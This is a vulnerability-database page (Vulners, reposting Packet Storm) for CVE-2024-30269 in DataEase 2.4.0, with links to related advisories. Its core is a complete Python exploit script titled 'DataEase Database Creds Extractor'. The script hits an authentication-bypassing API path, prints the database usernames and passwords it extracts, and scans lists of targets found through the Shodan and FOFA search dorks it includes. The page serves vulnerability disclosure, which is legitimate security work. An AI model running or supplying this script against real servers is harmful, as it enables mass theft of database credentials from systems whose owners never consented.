Lucene search
+L

📄 DataEase 2.4.0 Information Disclosure

🗓️ 07 Apr 2025 00:00:00Reported by ByteHunterType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 245 Views

DataEase 2.4.0 allows database credential extraction via vulnerable API endpoint.

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2024-30269
14 Feb 202510:05
circl
cnnvd
CNNVD
DataEase 安全漏洞
8 Apr 202400:00
cnnvd
cnvd
CNVD
Unspecified Vulnerability in DataEase (CNVD-2024-20785)
10 Apr 202400:00
cnvd
cve
CVE
CVE-2024-30269
8 Apr 202414:19
cve
cvelist
Cvelist
CVE-2024-30269 DataEase has database configuration information exposure vulnerability
8 Apr 202414:19
cvelist
exploitdb
Exploit DB
DataEase 2.4.0 - Database Configuration Information Exposure
6 Apr 202500:00
exploitdb
nuclei
Nuclei
DataEase <= 2.4.1 - Sensitive Information Exposure
23 Aug 202602:28
nuclei
nvd
NVD
CVE-2024-30269
8 Apr 202415:15
nvd
ptsecurity
Positive Technologies
PT-2024-23310 · Dataease · Dataease
8 Apr 202400:00
ptsecurity
redhatcve
RedhatCVE
CVE-2024-30269
23 May 202510:09
redhatcve
Rows per page
################################################################
    ############################                                   #
    #- Exploit Title: DataEase Database Creds Extractor            #
    #- Shodan Dork: http.html:"dataease"                           #    
    #- FOFA Dork: body="dataease" && title=="DataEase"             #
    #- Exploit Author: ByteHunter                                  #
    #- Email: [email protected]                               #
    #- vulnerable Versions: 2.4.0-2.5.0                            #
    #- Tested on: 2.4.0                                            #
    #- CVE : CVE-2024-30269                                        #                             
    ############################                                   #  
    ################################################################
    
    import argparse
    import requests
    import re
    import json
    from tqdm import tqdm  
    
    def create_vulnerability_checker():
        vulnerable_count = 0 
    
        def check_vulnerability(url):
            nonlocal vulnerable_count  
            endpoint = "/de2api/engine/getEngine;.js"
            full_url = f"{url}{endpoint}"
            headers = {
                "Host": url.split('/')[2], 
                "Accept-Encoding": "gzip, deflate, br",
                "Accept": "*/*",
                "Accept-Language": "en-US;q=0.9,en;q=0.8",
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36",
                "Connection": "close",
                "Cache-Control": "max-age=0"
            }
    
            try:
                response = requests.get(full_url, headers=headers, timeout=5)
                if response.status_code == 200:
                    try:
                        json_data = response.json()
                        config = json_data.get("data", {}).get("configuration", None)
    
                        if config:
                            config_data = json.loads(config)
    
                            username = config_data.get("username")
                            password = config_data.get("password")
                            port = config_data.get("port")
    
                            if username and password:
                                vulnerable_count += 1  
                                print(f"Vulnerable: {full_url}")
                                print(f"Username: {username}")
                                print(f"Password: {password}")
                                if port is not None:
                                    print(f"Port Number: {port}")
    
                    except (json.JSONDecodeError, KeyError):
                        print(f"Invalid JSON response from {full_url}")
    
            except requests.RequestException:
                pass
    
            return vulnerable_count 
    
        return check_vulnerability
    
    def main():
        parser = argparse.ArgumentParser(description="CVE-2024-30269 DataEase Database Creds Extractor")
        parser.add_argument('-u', '--url', type=str, help='Single target')
        parser.add_argument('-l', '--list', type=str, help='URL File List')
        args = parser.parse_args()
    
        check_vulnerability = create_vulnerability_checker()  
    
        if args.url:
            check_vulnerability(args.url)
        elif args.list:
            try:
                with open(args.list, 'r') as file:
                    urls = [url.strip() for url in file.readlines() if url.strip()]  
                total_urls = len(urls)
                for url in tqdm(urls, desc="Processing URLs", unit="url"):
                    check_vulnerability(url)
                   # tqdm.write(f"Vulnerable Instances: {check_vulnerability(url)}/{total_urls}")
            except FileNotFoundError:
                print(f"File not found: {args.list}")
        else:
            print("provide a URL with -u or a file with -l.")
    
    if __name__ == "__main__":
        main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 Apr 2025 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 3.15.3
EPSS0.15875
SSVC
245